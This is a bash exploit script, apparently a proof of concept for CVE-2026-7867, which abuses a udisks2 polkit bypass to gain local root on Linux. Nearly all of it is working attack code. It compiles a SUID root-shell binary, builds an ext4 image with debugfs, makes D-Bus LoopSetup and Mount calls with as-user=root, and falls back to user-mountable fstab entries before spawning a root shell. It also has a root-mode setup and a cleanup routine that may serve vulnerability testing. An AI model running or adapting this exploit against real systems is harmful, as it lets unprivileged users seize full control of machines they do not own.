#!/bin/bash # ───────────────────────────────────────────────────────────── # CVE-2026-7867 — disk2root # # udisks2 Filesystem.Mount as-user polkit bypass → LPE # # Usage: # ./disk2root.sh (as root — full auto) # ./disk2root.sh (as root — exploit as ) # ./disk2root.sh (as unpriv — try self-contained # or fstab fallback) # ./disk2root.sh --cleanup (as root — remove artifacts) # ───────────────────────────────────────────────────────────── set -uo pipefail RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' SELF=$(readlink -f "$0") LOOP_IMG="/tmp/.d2r-exploit.img" MOUNT_POINT="/mnt/.d2r" FSTAB_BACKUP="/tmp/.d2r-fstab.bak" CREATED_USER="" LOOP_DEV="" die() { echo -e "${RED}[!] $1${NC}"; exit 1; } banner() { echo -e "${CYAN}╔═════════════════════════════════════════════════════╗" echo -e "║ CVE-2026-7867 — disk2root ║" echo -e "║ udisks2 as-user polkit bypass → LPE root shell ║" echo -e "╚═════════════════════════════════════════════════════════╝${NC}" echo "" } # ───────────────────────────────────────────────────────────── # Cleanup # ───────────────────────────────────────────────────────────── do_cleanup() { echo -e "${YELLOW}[*] Cleaning up...${NC}" umount "$MOUNT_POINT" 2>/dev/null || true if [ -f "$FSTAB_BACKUP" ]; then cp "$FSTAB_BACKUP" /etc/fstab rm -f "$FSTAB_BACKUP" echo " fstab restored" fi for dev in /dev/loop*; do if losetup "$dev" 2>/dev/null | grep -q "d2r-exploit"; then losetup -d "$dev" 2>/dev/null echo " detached: $dev" fi done rm -f "$LOOP_IMG" rmdir "$MOUNT_POINT" 2>/dev/null || true if [ -n "$CREATED_USER" ] && id "$CREATED_USER" &>/dev/null; then userdel -r "$CREATED_USER" 2>/dev/null || true echo " removed user: $CREATED_USER" fi systemctl reload udisks2 2>/dev/null || true udevadm trigger 2>/dev/null || true echo -e "${GREEN}[+] Clean${NC}" } # ───────────────────────────────────────────────────────────── # Setup phase (requires root) # ───────────────────────────────────────────────────────────── do_setup() { local TARGET_USER="$1" echo -e "${YELLOW}[1/4]${NC} Building SUID payload..." local PWN_SRC=$(mktemp /tmp/.d2r-src.XXXXXX.c) cat > "$PWN_SRC" << 'CEOF' #include #include #include int main() { if (geteuid() != 0) { fprintf(stderr, "[-] euid=%d — suid not effective\n", geteuid()); return 1; } setuid(0); setgid(0); printf("\033[1;32m[+] root shell — uid=%d euid=%d\033[0m\n", getuid(), geteuid()); execl("/bin/bash", "bash", "-p", NULL); perror("execl"); return 1; } CEOF gcc -static -o /tmp/.d2r-pwn "$PWN_SRC" 2>/dev/null || \ gcc -o /tmp/.d2r-pwn "$PWN_SRC" 2>/dev/null || \ die "gcc compile failed" rm -f "$PWN_SRC" echo -e " ${GREEN}compiled${NC}" echo -e "${YELLOW}[2/4]${NC} Creating disk image + injecting binary..." dd if=/dev/zero of="$LOOP_IMG" bs=1M count=32 status=none LOOP_DEV=$(losetup --find --show "$LOOP_IMG") mkfs.ext4 -q -F "$LOOP_DEV" local TMP_MNT=$(mktemp -d) mount "$LOOP_DEV" "$TMP_MNT" cp /tmp/.d2r-pwn "$TMP_MNT/pwn" chown root:root "$TMP_MNT/pwn" chmod 4755 "$TMP_MNT/pwn" umount "$TMP_MNT" rmdir "$TMP_MNT" rm -f /tmp/.d2r-pwn echo -e " ${GREEN}$LOOP_DEV — 32MB ext4, pwn: 4755 root:root${NC}" echo -e "${YELLOW}[3/4]${NC} Adding fstab entry..." mkdir -p "$MOUNT_POINT" cp /etc/fstab "$FSTAB_BACKUP" echo "$LOOP_DEV $MOUNT_POINT ext4 x-udisks-auth 0 0" >> /etc/fstab udevadm trigger --subsystem-match=block udevadm settle systemctl reload udisks2 2>/dev/null || true sleep 2 echo -e " ${GREEN}$LOOP_DEV → $MOUNT_POINT (x-udisks-auth)${NC}" echo -e "${YELLOW}[4/4]${NC} Target user: $TARGET_USER (uid=$(id -u "$TARGET_USER"))" # Verify udisks2 sees the device local LOOP_BASE=$(basename "$LOOP_DEV") local UDISKS_PATH="/org/freedesktop/UDisks2/block_devices/$LOOP_BASE" local r=0 while [ $r -lt 15 ]; do busctl introspect org.freedesktop.UDisks2 "$UDISKS_PATH" 2>/dev/null | \ grep -q "org.freedesktop.UDisks2.Filesystem" && break sleep 0.5; r=$((r + 1)) done [ $r -eq 15 ] && die "udisks2 didn't recognize $LOOP_DEV" echo -e " ${GREEN}udisks2: ready${NC}" } # ───────────────────────────────────────────────────────────── # Exploit phase (unprivileged) # ───────────────────────────────────────────────────────────── do_exploit() { echo -e "${YELLOW}[*]${NC} uid=$(id -u) ($(whoami)) — exploiting..." # Find target: self-contained loop or fstab entry local TARGET_DEV="" TARGET_MNT="" UDISKS_PATH="" # Try self-contained loop-setup first (desktop sessions) if command -v mke2fs &>/dev/null && command -v debugfs &>/dev/null; then local WORK=$(mktemp -d /tmp/.d2r.XXXXXX) local IMG="$WORK/root.img" local PWN="$WORK/pwn" local LOOP_OBJ="" if command -v gcc &>/dev/null; then cat > "$WORK/pwn.c" << 'CEOF' #include #include #include int main() { if (geteuid() != 0) { fprintf(stderr, "[-] euid=%d\n", geteuid()); return 1; } setuid(0); setgid(0); printf("\033[1;32m[+] root shell — uid=%d euid=%d\033[0m\n", getuid(), geteuid()); execl("/bin/bash", "bash", "-p", NULL); return 1; } CEOF gcc -static -o "$PWN" "$WORK/pwn.c" 2>/dev/null || gcc -o "$PWN" "$WORK/pwn.c" 2>/dev/null fi if [ -f "$PWN" ]; then dd if=/dev/zero of="$IMG" bs=1M count=32 status=none mke2fs -t ext4 -q -F "$IMG" 2>/dev/null debugfs -w "$IMG" -f /dev/stdin </dev/null write $PWN pwn set_inode_field pwn uid 0 set_inode_field pwn gid 0 set_inode_field pwn mode 0104755 quit DBGEOF # Try loop-setup if python3 -c "from gi.repository import Gio, GLib" 2>/dev/null; then LOOP_OBJ=$(D2R_IMG="$IMG" python3 << 'PYEOF' 2>/dev/null import os, sys from gi.repository import Gio, GLib img = os.environ["D2R_IMG"] bus = Gio.bus_get_sync(Gio.BusType.SYSTEM) for opts in [{"as-user": GLib.Variant("s", "root")}, {}]: fd = os.open(img, os.O_RDWR) fl = Gio.UnixFDList.new(); fl.append(fd); os.close(fd) try: r, _ = bus.call_with_unix_fd_list_sync( "org.freedesktop.UDisks2", "/org/freedesktop/UDisks2/Manager", "org.freedesktop.UDisks2.Manager", "LoopSetup", GLib.Variant("(ha{sv})", (0, opts)), GLib.VariantType("(o)"), Gio.DBusCallFlags.NONE, -1, fl, None) print(r.unpack()[0]); sys.exit(0) except: continue sys.exit(1) PYEOF ) || true fi if [ -z "$LOOP_OBJ" ] && command -v udisksctl &>/dev/null; then local out out=$(udisksctl loop-setup -f "$IMG" --no-user-interaction 2>&1) && \ LOOP_OBJ="/org/freedesktop/UDisks2/block_devices/$(echo "$out" | grep -oP 'loop\d+' | head -1)" fi fi if [ -n "$LOOP_OBJ" ]; then local SELF_LOOP="/dev/$(basename "$LOOP_OBJ")" UDISKS_PATH="$LOOP_OBJ" echo -e " ${GREEN}self-contained: $SELF_LOOP${NC}" local r=0 while [ $r -lt 15 ]; do busctl introspect org.freedesktop.UDisks2 "$UDISKS_PATH" 2>/dev/null | \ grep -q "org.freedesktop.UDisks2.Filesystem" && break sleep 0.3; r=$((r + 1)) done else rm -rf "$WORK" fi fi # Fallback: scan fstab if [ -z "$UDISKS_PATH" ]; then while IFS= read -r line; do [[ "$line" =~ ^#.*$ || -z "$line" ]] && continue local dev=$(echo "$line" | awk '{print $1}') local mnt=$(echo "$line" | awk '{print $2}') local opts=$(echo "$line" | awk '{print $4}') for opt in x-udisks-auth user users; do if echo "$opts" | grep -qw "$opt"; then TARGET_DEV="$dev" TARGET_MNT="$mnt" local real=$(readlink -f "$dev" 2>/dev/null || echo "$dev") UDISKS_PATH="/org/freedesktop/UDisks2/block_devices/$(basename "$real")" echo -e " ${GREEN}fstab: $dev → $mnt ($opt)${NC}" break 2 fi done done < /etc/fstab fi [ -z "$UDISKS_PATH" ] && die "No exploit path — run as root for auto-setup" # Mount via as-user=root bypass local RESULT="" MNT="" if [ -n "$TARGET_MNT" ] && mountpoint -q "$TARGET_MNT" 2>/dev/null; then MNT="$TARGET_MNT" else RESULT=$(busctl --system call org.freedesktop.UDisks2 "$UDISKS_PATH" \ org.freedesktop.UDisks2.Filesystem Mount \ 'a{sv}' 1 as-user s root 2>&1) || true MNT=$(echo "$RESULT" | grep -oP '"[^"]+"' | tr -d '"' | head -1) if [ -z "$MNT" ] && [ -n "$TARGET_MNT" ]; then mountpoint -q "$TARGET_MNT" 2>/dev/null && MNT="$TARGET_MNT" fi if [ -z "$MNT" ] || ! mountpoint -q "$MNT" 2>/dev/null; then RESULT=$(dbus-run-session -- busctl --system call org.freedesktop.UDisks2 \ "$UDISKS_PATH" org.freedesktop.UDisks2.Filesystem Mount \ 'a{sv}' 1 as-user s root 2>&1) || true MNT=$(echo "$RESULT" | grep -oP '"[^"]+"' | tr -d '"' | head -1) [ -z "$MNT" ] && [ -n "$TARGET_MNT" ] && \ mountpoint -q "$TARGET_MNT" 2>/dev/null && MNT="$TARGET_MNT" fi if [ -z "$MNT" ] || ! mountpoint -q "$MNT" 2>/dev/null; then die "mount failed — system may be patched" fi fi echo -e " ${GREEN}mounted: $MNT${NC}" # Verify local MNT_OPTS=$(grep "$MNT" /proc/mounts | awk '{print $4}') if echo "$MNT_OPTS" | grep -q "nosuid"; then die "nosuid enforced ($MNT_OPTS)" fi # Find SUID binary local SUID="" for name in pwn escalate shell; do [ -f "$MNT/$name" ] && [ -u "$MNT/$name" ] && { SUID="$MNT/$name"; break; } done [ -z "$SUID" ] && SUID=$(find "$MNT" -maxdepth 2 -perm -4000 -type f 2>/dev/null | head -1) [ -z "$SUID" ] && die "no SUID binary on $MNT" echo -e " ${GREEN}suid: $(basename "$SUID") ($(stat -c '%a %U:%G' "$SUID"))${NC}" echo "" echo -e "${GREEN}╔═════════════════════════════════════════════════════╗" echo -e "║ dropping into root shell — type 'exit' to return ║" echo -e "╚═════════════════════════════════════════════════════════╝${NC}" echo "" "$SUID" } # ═════════════════════════════════════════════════════════════ # Main # ═════════════════════════════════════════════════════════════ banner case "${1:-}" in --cleanup) [ "$(id -u)" -ne 0 ] && die "--cleanup requires root" do_cleanup exit 0 ;; --exploit-phase) # Internal: called by root mode via su do_exploit exit $? ;; esac if [ "$(id -u)" -eq 0 ]; then # ── ROOT MODE: setup + exploit via su ────────────────── echo -e "${YELLOW}[*]${NC} Running as root — setting up exploit environment" echo "" TARGET_USER="${1:-}" if [ -z "$TARGET_USER" ]; then TARGET_USER=$(awk -F: '$3 >= 1000 && $3 < 65534 && $7 !~ /nologin|false/ {print $1; exit}' /etc/passwd) fi if [ -z "$TARGET_USER" ] || ! id "$TARGET_USER" &>/dev/null; then TARGET_USER="d2r_user" useradd -m -s /bin/bash "$TARGET_USER" 2>/dev/null || true CREATED_USER="$TARGET_USER" echo -e "${YELLOW}[*]${NC} Created temporary user: $TARGET_USER" fi # Cleanup trap for root mode root_cleanup() { do_cleanup } trap root_cleanup EXIT do_setup "$TARGET_USER" echo "" echo -e "${YELLOW}══ EXPLOIT PHASE (as $TARGET_USER) ═══════════════════${NC}" echo "" # Copy script to accessible location and run as target user cp "$SELF" /tmp/.d2r-exploit.sh chmod 755 /tmp/.d2r-exploit.sh su -s /bin/bash -c "/tmp/.d2r-exploit.sh --exploit-phase" "$TARGET_USER" rm -f /tmp/.d2r-exploit.sh echo "" echo -e "${YELLOW}[*] Shell exited — cleaning up...${NC}" else # ── UNPRIVILEGED MODE: try self-contained or fstab ───── do_exploit fi